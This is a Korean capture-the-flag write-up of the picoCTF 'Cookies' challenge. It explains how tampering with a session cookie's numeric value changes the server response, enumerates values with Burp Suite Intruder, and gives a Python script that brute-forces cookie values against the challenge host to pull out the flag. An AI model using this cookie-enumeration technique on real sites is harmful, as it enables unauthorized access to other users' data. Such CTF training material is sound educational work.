이번 포스트에서는 picoCTF의 Cookies 문제에 대해 다루겠다.
문제를 클릭하면 다음과 같은 화면을 볼 수 있다.
자신이 얼마나 많은 쿠키를 좋아하는지를 물어보고 있다.
placeholder에 snickerdoodle라는 쿠키가 나와있으므로 그대로 입력해서 Search 버튼을 클릭해보겠다.
### 실행 결과 :
"I love snickerdoodle cookies"라는 문구가 출력된 것을 볼 수 있다.
해당 문제는 "쿠키"에 관한 문제이므로 개발자도구를 통해 페이지의 쿠키값을 확인해보겠다.
Name = name, Value = 0이라고 되어 있는 것을 확인할 수 있다.
여기서 Value의 값을 다른 숫자로 변경해서 결과를 확인해보겠다.
쿠키 Value를 재설정하고 페이지를 새로고침하면 다음과 같은 화면을 볼 수 있다.
화면에 출력된 문구가 chocolate chip으로 바뀐 것을 알 수 있다.
즉, 쿠키의 Value값을 바뀔 때마다 화면에 출력된 문구가 달라진다는 것을 짐작할 수 있다.
그럼 0~n번까지의 모든 상수를 대입해보면 언젠가 flag가 출력되지 않을까라는 생각이 들었다.
그러나 하나 하나씩 차례대로 대입하면 너무 힘들고 귀찮으니 버프 스위트의 intruder 기능을 활용해서 공격해보겠다.
0~50으로 설정했는데 Response의 Length를 확인해보니 29번부터가 현저히 낮아져 아마 쿠키의 Value가 28번까지 있는 것 같다.
또한 18번의 Length길이도 다른 Length길이보다 낮은 것으로 보아 아마 flag가 들어가 있는 Value값인 것 같다.
이어서 쿠키의 Value를 18번으로 바꾼 다음에 페이지 새로고침을 해보겠다.
예상대로 Flag가 출력된 것을 확인할 수 있다.
해당 문제를 버프 스위트의 기능 말고 파이썬 코드로도 공격이 가능하다.
### 공격 코드 :
import requests # 라이브러리 불러오기
url = "http://mercury.picoctf.net:64944/check" # URL 설정
for i in range(29): # 0~29번까지 반복문 생성
value = str(i) # i의 값을 str로 강제 변환
cookies = {'name': value} # 쿠키값 채우기
response = requests.get(url, cookies=cookies) # 요청
result = response.text.split('<p style=\"text-align:center; font-size:30px;\"><b>')[1].split('</b>')[0] # 결과 자르기 (개발자 도구 활용하여 확인)
print(f"Value : {i:2} | Result: {result}") # 결과 출력
if 'I love' not in result: # I love가 결과값에 포함되면
flag_v = i # Value값 저장
f_cookies = {'name': f"{flag_v}"} # flag_cookie 설정
f_response = requests.get(url, cookies=f_cookies) # flag 요청
f_result = f_response.text.split('<p style=\"text-align:center; font-size:30px;\"><b>Flag</b>: <code>')[1].split('</code>')[0] # 결과 자르기 (개발자 도구 활용하여 확인)
print(f"Flag: {f_result}") # Flag 출력
### 실행 결과 :